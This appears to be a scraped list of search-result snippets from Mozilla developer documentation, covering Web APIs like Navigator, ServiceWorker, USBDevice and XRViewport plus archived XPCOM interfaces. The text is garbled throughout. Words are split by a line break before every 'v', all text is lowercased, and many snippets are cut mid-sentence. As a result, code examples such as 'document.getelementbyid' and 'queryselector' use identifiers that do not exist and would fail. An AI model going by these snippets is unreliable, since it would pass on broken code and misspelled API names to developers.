Navigator.productSub - Web APIs
the na
vigator.productsub read-only property returns the build number of the current browser.
... syntax prodsub = window.na
vigator.productsub prodsub is a string.
... example <script> function prodsub() { var dt = document.getelementbyid("d").childnodes[0]; dt.data = window.na
vigator.productsub; } </script> <button onclick="prodsub();">productsub</button> // returns: 20010725 notes on ie, this property returns undefined.
...And 2 more matches
Navigator.registerProtocolHandler() - Web APIs
the na
vigator method registerprotocolhandler() lets web sites register their ability to open or handle particular url schemes (aka protocols).
... syntax na
vigator.registerprotocolhandler(scheme, url, title); note: recently updated to na
vigator.registerprotocolhandler(scheme, url), but no browsers currently support this version.
... otherwise, the scheme must be one of the following: bitcoin geo im irc ircs magnet mailto mms news nntp openpgp4fpr sip sms smsto ssh tel urn webcal wtai xmpp example if your site is burgers.example.com, you can register a protocol handler for it to handle web+burger: links, like so: na
vigator.registerprotocolhandler("web+burger", "https://burgers.example.com/?burger=%s", "burger handler"); this creates a handler that lets web+burger: links send the user to your site, inserting the accessed burger url into the %s placeholder.
...And 2 more matches
navigator.hardwareConcurrency - Web APIs
the na
vigator.hardwareconcurrency read-only property returns the number of logical processors available to run threads on the user's computer.
... syntax logicalprocessors = window.na
vigator.hardwareconcurrency value a number indicating the number of logical processor cores.
...the number of logical processor cores can be used to measure the number of threads which can effectively be run at once without them ha
ving to context switch.
...And 2 more matches
NavigatorID.appVersion - Web APIs
syntax window.na
vigator.appversion value either "4.0" or a string representing version information about the browser.
... example alert('your browser version is reported as ' + na
vigator.appversion); notes the window.na
vigator.useragent property may also contain the version number (for example "mozilla/5.0 (windows; u; win98; en-us; rv:0.9.2) gecko/20010725 netscape 6/6.1"), but you should be aware of how easy it is to change the user agent string and "spoof" other browsers, platforms, or user agents, and also how cavalier the browser vendor themselves are with these properties.
... the window.na
vigator.appversion, window.na
vigator.appname and window.na
vigator.useragent properties have been used in "browser sniffing" code: scripts that attempt to find out what kind of browser you are using and adjust pages accordingly.
...And 2 more matches
NavigatorLanguage.languages - Web APIs
the na
vigatorlanguage.languages read-only property returns an array of domstrings representing the user's preferred languages.
... the value of na
vigator.language is the first element of the returned array.
... the accept-language http header in every http request from the user's browser uses the same value for the na
vigator.languages property except for the extra qvalues (quality values) field (e.g.
...And 2 more matches
NodeIterator.previousNode() - Web APIs
the nodeiterator.pre
viousnode() method returns the pre
vious node in the set represented by the nodeiterator and moves the position of the iterator backwards within the set.
... syntax node = nodeiterator.pre
viousnode(); example var nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false // this optional argument is not used any more ); currentnode = nodeiterator.nextnode(); // returns the next node pre
viousnode = nodeiterator.pre
viousnode(); // same result, since we backtracked to the pre
vious node specifications specification status ...
... comment domthe definition of 'nodeiterator.pre
viousnode' in that specification.
...And 2 more matches
PerformanceNavigationTiming.unloadEventEnd - Web APIs
the unloadeventend read-only property returns a timestamp representing the time value equal to the time immediately after the user agent finishes the unload event of the pre
vious document.
... if there is no pre
vious document, this property value is 0.
... syntax perfentry.unloadeventend; return value a timestamp representing a time value equal to the time immediately after the user agent finishes the unload event of the pre
vious document.
...And 2 more matches
PerformanceNavigationTiming.unloadEventStart - Web APIs
the unloadeventstart read-only property returns a timestamp representing the time value equal to the time immediately before the user agent starts the unload event of the pre
vious document.
... if there is no pre
vious document, this property returns 0.
... syntax perfentry.unloadeventstart; return value a timestamp representing the time value equal to the time immediately before the user agent starts the unload event of the pre
vious document.
...And 2 more matches
PerformanceTiming.navigationStart - Web APIs
this interface of this property is deprecated in the na
vigation timing level 2 specification.
... please use the performancena
vigationtiming interface instead.
... the legacy performancetiming.na
vigationstart read-only property returns an unsigned long long representing the moment, in milliseconds since the unix epoch, right after the prompt for unload terminates on the pre
vious document in the same browsing context.
...And 2 more matches
RTCRtpSynchronizationSource.voiceActivityFlag - Web APIs
the read-only voiceacti
vityflag property of the rtcrtpsynchronizationsource interface indicates whether or not the most recent rtp packet on the source includes voice acti
vity.
... this is only present if the stream is using the voice acti
vity detection feature; see the rtcofferoptions flag voiceacti
vitydetection.
... syntax var voiceacti
vity = rtcrtpsynchronizationsource.voiceacti
vityflag value a boolean value which is true if voice acti
vity is present in the most recently received rtp packet played by the associated source, or false if voice acti
vity is not present.
...And 2 more matches
SVGViewElement - Web APIs
the svg
viewelement interface pro
vides access to the properties of <
view> elements, as well as methods to manipulate them.
... svg
viewelement.
viewtarget an svgstringlist corresponding to the
viewtarget attribute of the given <
view> element.
... a list of domstring values which contain the names listed in the
viewtarget attribute.
...And 2 more matches
ServiceWorkerContainer.getRegistrations() - Web APIs
the getregistrations() method of the ser
viceworkercontainer interface gets all ser
viceworkerregistrations associated with a ser
viceworkercontainer, in an array.
... the method returns a promise that resolves to an array of ser
viceworkerregistration.
... syntax ser
viceworkercontainer.getregistrations().then(function(ser
viceworkerregistrations) { ...
...And 2 more matches
ServiceWorkerGlobalScope: message event - Web APIs
the message event of the ser
viceworkerglobalscope interface occurs when incoming messages are received.
... controlled pages can use the ser
viceworker.postmessage() method to send messages to ser
vice workers.
... the ser
vice worker can optionally send a response back
via the client.postmessage(), corresponding to the controlled page.
...And 2 more matches
ServiceWorkerMessageEvent.data - Web APIs
ser
vice worker messages will now use the messageevent interface, for consistency with other web messaging features.
... the data read-only property of the ser
viceworkermessageevent interface returns the event's data.
... syntax var mydata = ser
viceworkermessageeventinstance.data; value any data type.
...And 2 more matches
ServiceWorkerMessageEvent.lastEventId - Web APIs
ser
vice worker messages will now use the messageevent interface, for consistency with other web messaging features.
... the lasteventid read-only property of the ser
viceworkermessageevent interface represents, in server-sent events, the last event id of the event source.
... syntax var mylasteventid = ser
viceworkermessageeventinstance.lasteventid; value a domstring.
...And 2 more matches
ServiceWorkerMessageEvent.origin - Web APIs
ser
vice worker messages will now use the messageevent interface, for consistency with other web messaging features.
... the origin read-only property of the ser
viceworkermessageevent interface returns the origin of the ser
vice worker's en
vironment settings object.
... syntax var myorigin = ser
viceworkermessageeventinstance.origin; value a domstring.
...And 2 more matches
ServiceWorkerMessageEvent.ports - Web APIs
ser
vice worker messages will now use the messageevent interface, for consistency with other web messaging features.
... the ports read-only property of the ser
viceworkermessageevent interface returns an array of messageport objects connected with the message channel the message is being sent through.
... syntax var myports = ser
viceworkermessageeventinstance.ports; value an array of messageport objects.
...And 2 more matches
ServiceWorkerMessageEvent.source - Web APIs
ser
vice worker messages will now use the messageevent interface, for consistency with other web messaging features.
... the source read-only property of the ser
viceworkermessageevent returns a reference to the ser
viceworker object of the associated ser
vice worker that sent the message.
... syntax var mysource = ser
viceworkermessageeventinstance.source; value a ser
viceworker or messageport object.
...And 2 more matches
ServiceWorkerRegistration.unregister() - Web APIs
the unregister() method of the ser
viceworkerregistration interface unregisters the ser
vice worker registration and returns a promise.
... the promise will resolve to false if no registration was found, otherwise it resolves to true irrespective of whether unregistration happened or not (it may not unregister if someone else just called ser
viceworkercontainer.register() with the same scope.) the ser
vice worker will finish any ongoing operations before it is unregistered.
... syntax ser
viceworkerregistration.unregister().then(function(boolean) { }); parameters none.
...And 2 more matches
ServiceWorkerRegistration.update() - Web APIs
the update() method of the ser
viceworkerregistration interface attempts to update the ser
vice worker.
...the fetch of the worker bypasses any browser caches if the pre
vious fetch occurred over 24 hours ago.
... syntax ser
viceworkerregistration.update(); parameters none.
...And 2 more matches
USBDevice.claimInterface() - Web APIs
the claiminterface() method of the usbde
vice interface returns a promise that resolves when the requested interface is claimed for exclusive access.
... syntax var promise = usbde
vice.claiminterface(interfacenumber) parameters interfacenumber the index of one of the interfaces supported by the de
vice.
... interfaces are de
vice-specific.
...And 2 more matches
USBDevice.clearHalt() - Web APIs
the clearhalt() method of the usbde
vice interface returns a promise that resolves when a halt condition is cleared.
... a halt condition is when a data tranfer to or from the de
vice has a status of 'stall', which requires the web page (the host system, in usb terminology) to clear that condition.
... syntax var promise = usbde
vice.clearhalt(direction, endpointnumber) parameters direction indicates whether the de
vices input or output should be cleared.
...And 2 more matches
USBDevice.controlTransferIn() - Web APIs
the controltransferin() method of the usbde
vice interface returns a promise that resolves with a usbintransferresult when the result of a command or status request has been received from the usb de
vice.
... syntax var promise = usbde
vice.controltransferin(setup, length) parameters setup an object that sets options for .
... the available options are: requesttype: must be one of three values specifying whether the tranfer is "standard" (common to all usb de
vices) "class" (common to an industry-standard class of de
vices) or "vendor".
...And 2 more matches
VideoTrack.id - Web APIs
the id property contains a string which uniquely identifies the track represented by the
videotrack.
... this id can be used with the
videotracklist.gettrackbyid() method to locate a specific track within the media associated with a media element.
... syntax var trackid =
videotrack.id; value a domstring which identifies the track, suitable for use when calling gettrackbyid() on an
videotracklist such as the one specified by a media element's
videotracks property.
...And 2 more matches
Videotrack.language - Web APIs
the read-only
videotrack property language returns a string identifying the language used in the
video track.
... for tracks that include multiple languages (such as a mo
vie in english in which a few lines are spoken in other languages), this should be the
video's primary language.
... syntax var
videotracklanguage =
videotrack.language; value a domstring specifying the bcp 47 (rfc 5646) format language tag of the primary language used in the
video track, or an empty string ("") if the language is not specified or known, or if the track doesn't contain speech.
...And 2 more matches
VideoTrack.selected - Web APIs
the
videotrack property selected controls whether or not a particular
video track is active.
... syntax is
videoselected =
videotrack.selected;
videotrack.selected = true | false; value the selected property is a boolean whose value is true if the track is active.
... only a single
video track can be active at any given time, so setting this property to true for one track while another track is active will make that other track inactive.
...And 2 more matches
Sending and Receiving Binary Data - Web APIs
recei
ving binary data using javascript typed arrays the responsetype property of the xmlhttprequest object can be set to change the expected response type from the server.
...}; oreq.send(); recei
ving binary data in older browsers the load_binary_resource() function shown below loads binary data from the specified url, returning it to the caller.
... var myarray = new arraybuffer(512); var longint8
view = new uint8array(myarray); // generate some data for (var i=0; i< longint8
view.length; i++) { longint8
view[i] = i % 256; } var xhr = new xmlhttprequest; xhr.open("post", url, false); xhr.send(myarray); this is building a 512-byte array of 8-bit integers and sending it; you can use any binary data you'd like, of course.
...And 2 more matches
XRSession: visibilitychange event - Web APIs
the
visibilitychange event is sent to an xrsession to inform it when it becomes
visible or hidden, or when it becomes
visible but not currently focused.
... upon recei
ving the event, you can check the value of the session's
visibilitystate property to determine the new
visibility state.
... bubbles yes cancelable no interface xrsessionevent event handler property on
visibilitychange when the xrsession receives this event, the
visibility state has already been changed.
...And 2 more matches
XRViewport.width - Web APIs
the read-only xr
viewport property width specifies the width of the
viewport, in pixels, onto the drawing surface the 3d scene is to be rendered into.
... this is defined using this property along with the
viewport's height and its origin given by its properties x and y.
... syntax width = xr
viewport.width; value the
viewport's width in pixels.
...And 2 more matches
XRViewport.x - Web APIs
the read-only xr
viewport interface's x property indicates the offset from the left edge of the destination surface (typically a xrwebgllayer to the left edge of the
viewport within the surface into which webxr content is to be rendered.
... the
viewport's y property identifies the y component of the origin, and its is given by the width and height properties.
... syntax x = xr
viewport.x; value the offset from the left edge of the rendering surface to the left edge of the
viewport, in pixels.
...And 2 more matches
XRViewport.y - Web APIs
the read-only xr
viewport interface's y property indicates the offset from the bottom edge of the destination surface (typically a xrwebgllayer to the bottom edge of the
viewport within the surface into which webxr content is to be rendered.
... the
viewport's x property identifies the x component of the origin, and its is given by the width and height properties.
... syntax y = xr
viewport.y; value the offset from the bottom edge of the rendering surface to the bottom edge of the
viewport, in pixels.
...And 2 more matches
device-aspect-ratio - CSS: Cascading Style Sheets
the de
vice-aspect-ratio css media feature can be used to test the width-to-height aspect ratio of an output de
vice.
... syntax the de
vice-aspect-ratio feature is specified as a <ratio>.
... it is a range feature, meaning that you can also use the prefixed min-de
vice-aspect-ratio and max-de
vice-aspect-ratio variants to query minimum and maximum values, respectively.
...And 2 more matches
JavaScript technologies overview - JavaScript
introduction whereas html defines a webpage's structure and content and css sets the formatting and appearance, javascript adds interacti
vity to a webpage and creates rich web applications.
... this core language is also used in non-browser en
vironments, for example in node.js.
...the internationalization api pro
vides collation (string comparison), number formatting, and date-and-time formatting for javascript applications, letting the applications choose the language and tailor the functionality to their needs.
...And 2 more matches
<view> - SVG: Scalable Vector Graphics
a
view is a defined way to
view the image, like a zoom level or a detail
view.
... usage context categoriesnonepermitted contentany number of the following elements, in any order:descriptive elements attributes global attributes aria attributes » core attributes » global event attributes » externalresourcesrequired specific attributes
viewbox preserveaspectratio zoomandpan
viewtarget example svg <svg width="600" height="200"
viewbox="0 0 600 200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <radialgradient id="gradient"> <stop offset="0%" stop-color="#8cffa0" /> <stop offset="100%" stop-color="#8ca0ff" /> </radialgradient> </defs> <circle r="50" cx="180" cy="50" style="fill:url(#gradient)"/> <
view id="halfsize
view"
viewbox="0 0 1200 400"/> <
view id="normalsize
view"
vi...
...ewbox="0 0 600 200"/> <
view id="doublesize
view"
viewbox="0 0 300 100"/> <a xlink:href="#halfsize
view"> <text x="5" y="20" font-size="20">half size</text> </a> <a xlink:href="#normalsize
view"> <text x="5" y="40" font-size="20">normal size</text> </a> <a xlink:href="#doublesize
view"> <text x="5" y="60" font-size="20">double size</text> </a> </svg> result dom interface this element implements the svg
viewelement interface.
...And 2 more matches
JavaScript Debugger Service - Archive of obsolete content
in firefox versions prior to gecko 33 (firefox 33 / thunderbird 33 / seamonkey 2.30), the javascript debugger ser
vice (or simply jsd) used to be an xpcom component that allows the tracking of javascript while it was being executed in the browser.
... snippets acquiring the ser
vice we acquire the ser
vice by calling the xpcom object.
... var jsd = components.classes["@mozilla.org/js/jsd/debugger-ser
vice;1"] .getser
vice(components.interfaces.jsdidebuggerser
vice); jsd.on(); // enables the ser
vice till firefox 3.6, for 4.x use asyncon if (jsd.ison) jsd.off(); // disables the ser
vice hooks jsd operates using the events hook mechanism.
... learning more a quick and dirty introduction by lei venkman javascript debugger source code firebug ser
vice source code jsd architecture (old) ...
Case Sensitivity in class and id Names - Archive of obsolete content
therefore, authors should not rely on case-sensiti
vity as a way of creating distinct identifiers, unless they are designing solely for a truly standards-compliant browser such as netscape 6.
... netscape 6's unusual sensiti
vity to case is based on a close reading of the html 4.01 specification.
...as of this writing, netscape 6 is the only browser to honor this defined beha
vior; other browsers treat both class and id names as case-insensitive.
...thus, even though class and id values are defined to be case-sensitive, there is an aspect of case-insensiti
vity to the use of id values.
Enabling the behavior - updating the status periodically - Archive of obsolete content
to enable its functionality, we have to add a reference to our javascript code into na
vigator.xul, just as we put a reference to our css code into that file back in specifying the appearance.
... put the javascript code into a file called tinderstatus.js in the same directory as na
vigator.xul and reference it in na
vigator.xul where other javascript scripts are referenced: ...
... <!-- na
vigator --> <script type="application/javascript" src="chrome://na
vigator/content/browser.js"/> <script type="application/javascript" src="chrome://na
vigator/content/na
vigator.js"/> <script type="application/javascript" src="chrome://na
vigator/content/na
vigatordd.js"/> <script type="application/javascript" src="chrome://na
vigator/content/sessionhistoryui.js"/> <script type="application/javascript" src="chrome://na
vigator/content/tinderstatus.js"/> <!-- hook for stringbundle overlays --> ...
... « pre
viousnext » ...
Help Viewer - Archive of obsolete content
help
viewer: allows information to be shown to the user inside mozilla.
...consequently, the mozilla platform pro
vides a cross-platform help
viewer along with a framework for pro
viding built-in help documentation.
... mozilla's help
viewer makes pro
viding documentation an easy job, and this document will describe how you can use it.
... help
viewer project page articles & tutorials creating a help content pack task-oriented, as opposed to spec-type stuff like the link below will be other resources content pack specification a technical description of it, meant primarily to solidify the idea of exactly what constitutes a content pack ...
contentView - Archive of obsolete content
« xul reference content
view type: nsitreecontent
view for trees built with a content builder - that is, those that do not have flags set -- the content
view will be a reference to the nsitreecontent
view for the tree.
... this interface lets you retrieve the dom element corresponding to a given a row index and
vice versa.
... for trees that are not built with a content builder, the functions of nsitreecontent
view will not be available, since there are no dom nodes to retrieve.
... in newer versions of mozilla, the content
view property is actually a synonym for the
view property, since the two interfaces are flattened together into a single interface in javascript.
Window: devicelight event - Archive of obsolete content
the de
vicelight event is fired when fresh data is available from a light sensor.
... note: this event has been disabled by default in firefox 62, behind the de
vice.sensors.ambientlight.enabled preference (bug 1462308).
... bubbles no cancelable no interface sensorcallback target default
view (window) other properties property type description value read only double (float) the sensor data for ambient light in lux.
... examples window.addeventlistener('de
vicelight', function(event) { console.log(event.value); }); specifications specification status comment ambient light sensorthe definition of 'ambient light events' in that specification.
Frame script environment
the frame script's global is a contentframemessagemanager, gi
ving it the following en
vironment: content the dom window of the content loaded in the browser may be null (see below) docshell the nsidocshell associated with the browser.
... frame scripts run with system pri
vileges and have access to the components object, enabling them to use xpcom objects and jsms.
... events besides the regular dom events being captured/bubbling up from content the current content object the following additional events get fired in a frame script en
vironment: unload bubbles no fires when the frame script en
vironment is shut down, i.e.
... this can be used if a framescript needs to interact with indi
vidual dom windows instead of simply listening for events bubbling up from content.
mozbrowserscrollviewchange
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... the mozbrowserscroll
viewchange event is fired when asynchronous scrolling (i.e.
... details the details property returns an anonymous javascript object with the following properties: state a domstring representing the current state of scrolling in the
viewport — available values are started and stopped.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserscroll
viewchange", function( event ) { console.log("scrolling has " + event.details.state + "."); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowsersecuritychange mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowservisibilitychange
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... the mozbrowser
visibilitychange event is fired when the
visibility state of the current browser iframe <iframe> changes, for example due to a call to set
visible().
... details the details property returns an anonymous javascript object with the following properties:
visible a boolean that indicates whether the browser iframe is
visible (true) or not (false).
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowser
visibilitychange", function( event ) { if(event.details.
visible) { console.log("the browser is
visible."); } else { console.log("the browser is hidden."); } }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsertitlechange ...
Rhino overview
javascript language versions some beha
vior in the javascript engine is dependent on the language version.
... security the security features in rhino pro
vide the ability to track the origin of a piece of code (and any pieces of code that it may in turn generate).
... these features allow for the implementation of a traditional url-based security policy for javascript as in netscape na
vigator.
...this will pro
vide rhino the support functionality it needs to perform security-related tasks.
mozilla::services namespace
the ser
vices c++ namespace offers an easy and efficient alternative for obtaining a ser
vice as compared to the indirect xpcom approach: getser
vice(), callgetser
vice(), etc methods are expensive and should be avoided when possible.
... to use it, you first need to include the header into your c++ file: #include "mozilla/ser
vices.h" then you can obtain references to ser
vices by simply accessing them from the mozilla::ser
vices namespace.
... for example, to obtain a reference to the ioser
vice: nscomptr<nsiioser
vice> ioser
vice = mozilla::ser
vices::getioser
vice(); pro
vided ser
vice getters ser
vice accessor ser
vice interface ser
vice name getchromeregistryser
vice nsichromeregistryser
vice chrome registry ser
vice getioser
vice nsiioser
vice io ser
vice getobserverser
vice nsiobserverser
vice observer ser
vice getstringbundleser
vice nsistringbundleser
vice string bundle ser
vice gettoolkitchromeregistryser
vice nsitoolkitchromeregistry toolkit chrome registry ser
vice getxulchromeregistryser
vice nsixulchromeregistry xul chrome registry ser
vice getxuloverlaypro
viderser
vice nsixuloverlaypro
vider xul overlay pro
vider ser
vice more ser
vices will be added as needed.
... see also ser
vices.jsm nsiser
vicemanager.getser
vice() ...
NS_GetServiceManager
« xpcom api reference summary the ns_getser
vicemanager function returns a reference to the xpcom ser
vice manager.
... #include "nsxpcom.h" #include "nsiser
vicemanager.h" nsresult ns_getser
vicemanager( nsiser
vicemanager** aresult ); parameters aresult [out] a reference to the xpcom ser
vice manager.
... return values the ns_getser
vicemanager function returns ns_ok if successful.
... see also nsiser
vicemanager ...
nsICacheDeviceInfo
netwerk/cache/nsicache
visitor.idlscriptable this interface pro
vides information about a cache de
vice.
... inherits from: nsisupports last changed in gecko 1.7 attributes attribute type description description string get a human readable description of the cache de
vice.
... usagereport string get a usage report, statistics, miscellaneous data about the cache de
vice.
... see also nsicache nsicache
visitor ...
nsIContentPrefService2
dom/interfaces/base/nsicontentprefser
vice2.idlscriptable asynchronous api for content preferences 1.0 66 introduced gecko 20.0 inherits from: nsisupports last changed in gecko 20.0 (firefox 20.0 / thunderbird 20.0 / seamonkey 2.17) description content preferences allow the application to associate arbitrary data, or "preferences", with specific domains, or web "content".
...method over
view void addobserverforname(in astring name, in nsicontentprefobserver observer); void getbydomainandname(in astring domain, in astring name, in nsiloadcontext context, in nsicontentprefcallback2 callback); void getbysubdomainandname(in astring domain, in astring name, in nsiloadcontext context, in nsicontentprefcallback2 callback); nsi...
...the ser
vice holds a strong reference to the observer, so the observer must be removed later to avoid leaking it.
... see also old synchronous api:nsicontentprefser
vice using content preferences ...
nsIDeviceMotionListener
xpcom/system/nside
vicemotion.idlscriptable this interface can be implemented by clients that want to be notified orientation or acceleration changes on supported de
vices.
... 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method over
view void onmotionchange(in nside
vicemotiondata amotiondata); methods onmotionchange() called when new orientation or acceleration data is available.
... void onmotionchange( in nside
vicemotiondata amotiondata ); parameters aacceleration the nside
vicemotiondata object describing updated motion information.
... see also mozorientation nsidomorientationevent nside
vicemotion nside
vicemotiondata ...
nsIDragService
widget/nsidragser
vice.idlscriptable implements the drag ser
vice for handling drag and drop operations.
... method over
view void enddragsession( in prbool adonedrag ) ; void dragmoved(in long ax, in long ay); native code only!
... enddragsession() tells the drag ser
vice to end a drag session.
... startdragsession() tells the drag ser
vice to start a drag session.
nsIMsgMessageService
objects that implements nsimsgmessageser
vice give the user top level routines related to messages like copying, displaying, attachment's manipulation, printing, streaming the message content to eml format string, etc.
... inherits from: nsisupports method over
view void copymessage(in string asrcuri, in nsistreamlistener acopylistener, in boolean amovemessage, in nsiurllistener aurllistener, in nsimsgwindow amsgwindow, out nsiuri aurl); [noscript] void copymessages(in nsmsgkeyarrayptr keys, in nsimsgfolder srcfolder, in nsistreamlistener acopylistener, in boolean amovemessage, in nsiurllistener aurllistener, in nsimsgwindow amsgwindow, out nsiuri aurl); void displaymessage(in string amessageuri, in nsisupports adisplayconsumer, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener, in string acharsetoverride, out nsiuri aurl); void openattachment(in string acontenttype, in string afilename, in string aurl, in string amessageuri, in nsisupports adisplayconsumer, in n...
...e.g., header=filter return the nsiuri that gets run example for example, the next piece of code shows the selected message code on a dialog: (taken from mozillazine) var content = ""; var messageuri = getfirstselectedmessage(); var msgser
vice = messenger.messageser
vicefromuri(messageuri); var msgstream = components.classes["@mozilla.org/network/sync-stream-listener;1"].createinstance(); var consumer = msgstream.queryinterface(components.interfaces.nsiinputstream); var scriptinput = components.classes["@mozilla.org/scriptableinputstream;1"].createinstance(); var scriptinputstream = scriptinput.queryinterface(components.inter...
...faces.nsiscriptableinputstream); scriptinputstream.init(consumer); try { msgser
vice.streammessage(messageuri, msgstream, msgwindow, null, false, null); } catch (ex) { alert("error: "+ex) } scriptinputstream .available(); while (scriptinputstream .available()) { content = content + scriptinputstream .read(512); } alert(content streamheaders() this method streams a message's headers to the passed in consumer.
nsINavHistoryVisitResultNode
toolkit/components/places/public/nsinavhistoryser
vice.idlscriptable this interface describes a result from a result_type_
visit query on the places ser
vice.
... it describes a
visit to an entry; you can use it to determine the date and time of the last time the user
visited a particular page, for example.
... this interface pro
vides the session id so that it's possible to group items from the same session together.
... 1.0 66 introduced gecko 1.9 inherits from: nsinavhistoryresultnode last changed in gecko 1.9 (firefox 3) attributes attribute type description sessionid long long the session id of the
visit, used for session grouping when a tree
view is sorted by date.
nsISocketProvider
netwerk/socket/nsisocketpro
vider.idlscriptable this interface represents a socket pro
vider.
...to create an instance, use: var socketpro
vider = components.classes["@mozilla.org/network/socket;2?type="] .createinstance(components.interfaces.nsisocketpro
vider); method over
view void addtosocket(in long afamily, in string ahost, in long aport, in string aproxyhost, in long aproxyport, in unsigned long aflags, in prfiledescstar afiledesc, out nsisupports asecurityinfo); native code only!
... methods native code only!addtosocket this function is called to allow the socket pro
vider to layer a prfiledesc (a file descriptor) on top of another prfiledesc.
... for example, ssl
via a socks proxy.
nsIStringBundleService
intl/strres/nsistringbundle.idlscriptable pro
vides the string bundle ser
vice, which pro
vides a way to fetch localized strings from a property file.
...to access this ser
vice, use: var stringbundleser
vice = components.classes["@mozilla.org/intl/stringbundle;1"] .getser
vice(components.interfaces.nsistringbundleser
vice); method over
view nsistringbundle createbundle(in string aurlspec); nsistringbundle createextensiblebundle(in string aregistrykey); void flushbundles(); wstring formatstatusmessage(in nsresult astatus, in wstring astatusarg); methods createbundle() nsistringbundle createbundle( in string aurlspec ); parameters aurlspec the url of the properties file to load.
...this is mapped into a string id and and used in the string lookup process (see nsierrorser
vice).
...the localizing js/jsm files uses the nsistringbundleser
vice: bootstrapped extensions :: localization (l10n) nsistringbundle ...
nsITaggingService
toolkit/components/places/public/nsitaggingser
vice.idlscriptable pro
vides methods to tag/untag a uri, to retrieve uris for a given tag, and to retrieve all tags for a uri.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: @mozilla.org/browser/tagging-ser
vice;1.
... to use this ser
vice, use: var taggingsvc = components.classes["@mozilla.org/browser/tagging-ser
vice;1"] .getser
vice(components.interfaces.nsitaggingser
vice); method over
view void taguri(in nsiuri auri, in nsivariant atags); void untaguri(in nsiuri auri, in nsivariant atags); nsivariant geturisfortag(in astring atag); nsivariant gettagsforuri(in nsiuri auri, [optional] out unsigned long length, [retval, array, size_is(length)] out wstring atags); attributes attribute type description alltags nsivariant retrieves all tags used to tag uris in the data-base (sorted by name).
...see also places using the places tagging ser
vice ...
nsPIPromptService
embedding/components/windowwatcher/public/nspipromptser
vice.idlscriptable this interface is for the dialog implementers, not for other developers.
...this is the number of the
visible buttons on the dialog.
...this is the number of the
visible text fields on the dialog.
... method over
view void dodialog(in nsidomwindow aparent, in nsidialogparamblock aparamblock, in string achromeurl); methods dodialog() opens a dialog.
DeviceLightEvent - Web APIs
the de
vicelightevent pro
vides web developers with information from photo sensors or similiar detectors about ambient light levels near the de
vice.
... for example this may be useful to adjust the screen's brightness based on the current ambient light level in order to save energy or pro
vide better readability.
... properties de
vicelightevent.value the level of the ambient light in lux.
... example window.addeventlistener('de
vicelight', function(event) { console.log(event.value); }); specifications no specification.
Document.defaultView - Web APIs
in browsers, document.default
view returns the window object associated with a document, or null if none is available.
... syntax var win = document.default
view; this property is read-only.
... specifications specification status comment html li
ving standardthe definition of 'document.default
view' in that specification.
... li
ving standard no change html5the definition of 'document.default
view' in that specification.
msSetVideoRectangle - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... the html
videoelement.msset
videorectangle() method sets the dimensions of a sub-rectangle within a
video.
... syntax html
videoelement.msset
videorectangle(); parameters left a number representing left-side position.
... example html
videoelement.msset
videorectangle(left: 2, top: 0, right: 4, bottom: 4); see also html
videoelement microsoft api extensions ...
MediaDeviceInfo.kind - Web APIs
the kind readonly property of the mediade
viceinfo interface returns an enumerated value, that is either "
videoinput", "audioinput" or "audiooutput".
... syntax var kind = mediade
viceinfo.kind value a domstring.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetkindchrome full support 55notes full support 55notes notes for earlier versions, this interface is available through the adapter.js polyfilledge full support 12firefox ...
... full support 39ie no support noopera no support nonotes no support nonotes notes this property can be used in opera by using the adapter.js polyfill.safari no support noweb
view android full support 55notes full support 55notes notes for earlier versions, this interface is available through the adapter.js polyfillchrome android full support 55notes full support 55notes notes for earlier versions, this i...
MediaRecorder.videoBitsPerSecond - Web APIs
the
videobitspersecond read-only property of the mediarecorder interface returns the
video encoding bit rate in use.
... this may differ from the bit rate specified in the constructor, if it was pro
vided.
... syntax var
videobitspersecond = mediarecorder.
videobitspersecond value a number (unsigned long).
... example // tbd specifications specification status comment mediastream recordingthe definition of '
videobitspersecond' in that specification.
MediaTrackSupportedConstraints.deviceId - Web APIs
the mediatracksupportedconstraints dictionary's de
viceid property is a read-only boolean value which is present (and set to true) in the object returned by mediade
vices.getsupportedconstraints() if and only if the user agent supports the de
viceid constraint.
... you can access the supported constraints dictionary by calling na
vigator.mediade
vices.getsupportedconstraints().
... syntax de
viceidconstraintsupported = supportedconstraintsdictionary.de
viceid; value this property is present in the dictionary (and its value is always true) if the user agent supports the de
viceid constraint.
... example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (na
vigator.mediade
vices.getsupportedconstraints().de
viceid) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'de
viceid' in that specification.
Navigator.battery - Web APIs
the battery read-only property returns a batterymanager which pro
vides information about the system's battery charge level and whether the de
vice is charging and exposes events that fire when these parameters change.
... this interface was introduced in early drafts of the battery status api and but has been replaced with promise-based na
vigator.getbattery().
... the battery property has been removed in favor of the standard na
vigator.getbattery() method, which returns a battery promise.
... syntax var battery = na
vigator.battery; ...
Navigator.canShare() - Web APIs
the na
vigator.canshare() method of the web share api returns true if a call to na
vigator.share() would succeed.
... syntax var canshare = na
vigator.canshare(data); parameters data optional an object containing data to share that matches what you would pass to na
vigator.share().
...true if data can be shared with na
vigator.share().
... examples if(na
vigator.canshare(data)) { // we can use share() to share the data!
Navigator.requestMediaKeySystemAccess() - Web APIs
the na
